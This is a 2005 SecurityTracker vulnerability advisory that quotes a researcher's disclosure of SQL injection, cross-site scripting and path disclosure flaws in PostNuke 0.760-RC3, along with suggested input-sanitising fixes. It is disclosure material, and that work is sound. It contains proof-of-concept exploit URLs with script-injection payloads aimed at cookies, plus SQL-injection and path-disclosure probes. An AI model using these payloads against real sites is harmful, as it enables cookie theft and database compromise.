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PostNuke Input Validation Holes in News Module Permits SQL Injection and in 'admin.php' and 'user.php' Permit Cross-Site Scripting Attacks
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SecurityTracker Alert ID: 1013670
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SecurityTracker URL: http://securitytracker.com/id?1013670
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CVE Reference: GENERIC-MAP-NOMATCH
(Links to External Site)
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Date: Apr 9 2005
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Impact: Disclosure of authentication information, Disclosure of system information, Disclosure of user information, Execution of arbitrary code via network, Modification of user information
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Exploit Included: Yes
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Version(s): 0.760-RC3
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Description: Diabolic Crab reported vulnerabilities in PostNuke. A remote user can inject SQL commands, conduct cross-site scripting attacks, and determine the installation path.
The 'admin.php' script does not properly validate user-supplied input in the 'module' parameter. The 'user.php' script does not
properly validate the 'op' parameter. A remote user can create a specially crafted URL that, when loaded by a target user, will
cause arbitrary scripting code to be executed by the target user's browser. The code will originate from the site running the PostNuke
software and will run in the security context of that site. As a result, the code will be able to access the target user's cookies
(including authentication cookies), if any, associated with the site, access data recently submitted by the target user via web
form to the site, or take actions on the site acting as the target user.
Some demonstration exploit URLs are provided:
http://[target]/admin.php?module="><scrip
t>alert(document.cookie)</script>&op=main&POSTNUKESID=355776cfb62&
http://[target]/user.php?op="><script>alert(document.cookie)</script>&module=NS
-NewUser&POSTNUKESID=355776cfb62
The News module does not properly validate user-supplied input in the 'sid' parameter. A remote
user can supply a specially crafted parameter value to execute SQL commands on the underlying database. A demonstration exploit
URL is provided:
http://[target]/modules.php?op=modload&name=News&file=article&sid='SQL_INJECTION&POSTNUKESID=355776cfb622466924a7096d4471a480
A
remote user can supply a specially crafted 'id' parameter value to the Reviews module to cause the system to display the installation
path. A demonstration exploit URL is provided:
http://[target]/modules.php?op=modload&name=Reviews&file=index&req=showcontent&id='&POSTNUKESID=355776cfb622466924a7096
d4471a480
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Impact: A remote user can access the target user's cookies (including authentication cookies), if any, associated with the site running the
PostNuke software, access data recently submitted by the target user via web form to the site, or take actions on the site acting
as the target user.
A remote user can execute SQL commands on the underlying database.
A remote user can determine the installation
path.
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Solution: No solution was available at the time of this entry.
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Vendor URL: www.postnuke.com/ (Links to External Site)
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Cause: Access control error, Input validation error
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Underlying OS: Linux (Any), UNIX (Any), Windows (Any)
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Reported By: dcrab <dcrab@hackerscenter.com>
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Message History:
None.
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Source Message Contents
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Date: 8 Apr 2005 02:36:02 -0000
From: dcrab <dcrab@hackerscenter.com>
Subject: Sql injection, xss and path disclosure vulnerabilities in
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-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1
Dcrab 's Security Advisory
[Hsc Security Group] http://www.hackerscenter.com/
[dP Security] http://digitalparadox.org/
Get Dcrab's Services to audit your Web servers, scripts, networks, etc. Learn more at http://www.digi
talparadox.org/services.ah
GET INFORMED FIRST ABOUT MY ADVISORIES http://www.digitalparadox.org
Severity: Medium
Title: Sql injection, xss and path disclosure vulnerabilities in PostNuke 0.760-RC3
Date: 08/04/2005
Vendor: PostNuke
Vendor Website: http://www.postnuke.com
Summary: There are, sql injection, xss and path disclosure vulnerabilities in postnuke 0.760-rc3.
Proof of Concept Exploits:
http://localhost/admin.php?module="><script>alert(document.cookie)</scri
pt>&op=main&POSTNUKESID=355776cfb622466924a7096d4471a480
Pops cookie
http://localhost/modules.php?op=modload&name=News&file=article&sid='SQL_INJECTION&POS
TNUKESID=355776cfb622466924a7096d4471a480
SQL INJECTION (look wayyy on the bottom of the page)
DB Error: getArticles: 1064: You have an error in your SQL syntax. Check the manual that corresponds
to your MySQL server version
for
the right syntax to use near '\'SQL_INJECTION' at line 23
http://localhost/modules.php?op=modload&name=Reviews&file=index&req=showcontent&id='&
POSTNUKESID=355776cfb622466924a7096d4471a480
Server Path disclosure
Fatal error: Call to a member function on a non-object in /home/httpd/vhosts/localhost/httpdocs/modul
es/Reviews/index.php on line
976
http://localhost/user.php?op="><script>alert(document.cookie)</script&
gt;&module=NS-NewUser&POSTNUKESID=355776cfb622466924a7096d4471a480
Pops cookie
Possible Fixes: The usage of htmlspeacialchars(), mysql_escape_string(), mysql_real_escape_string() a
nd other functions for input
validation before passing user input to the mysql database, or before echoing data on the screen, wou
ld solve these problems.
Keep your self updated, Rss feed at: http://digitalparadox.org/rss.ah
Author:
These vulnerabilties have been found and released by Diabolic Crab, Email: dcrab[AT|NOSPAM]hackerscen
ter[DOT|NOSPAM]com, please feel
free to contact me regarding these vulnerabilities. You can find me at, http://www.hackerscenter.com
or http://digitalparadox.org/.
Lookout or my soon to come out book on Secure coding with php.
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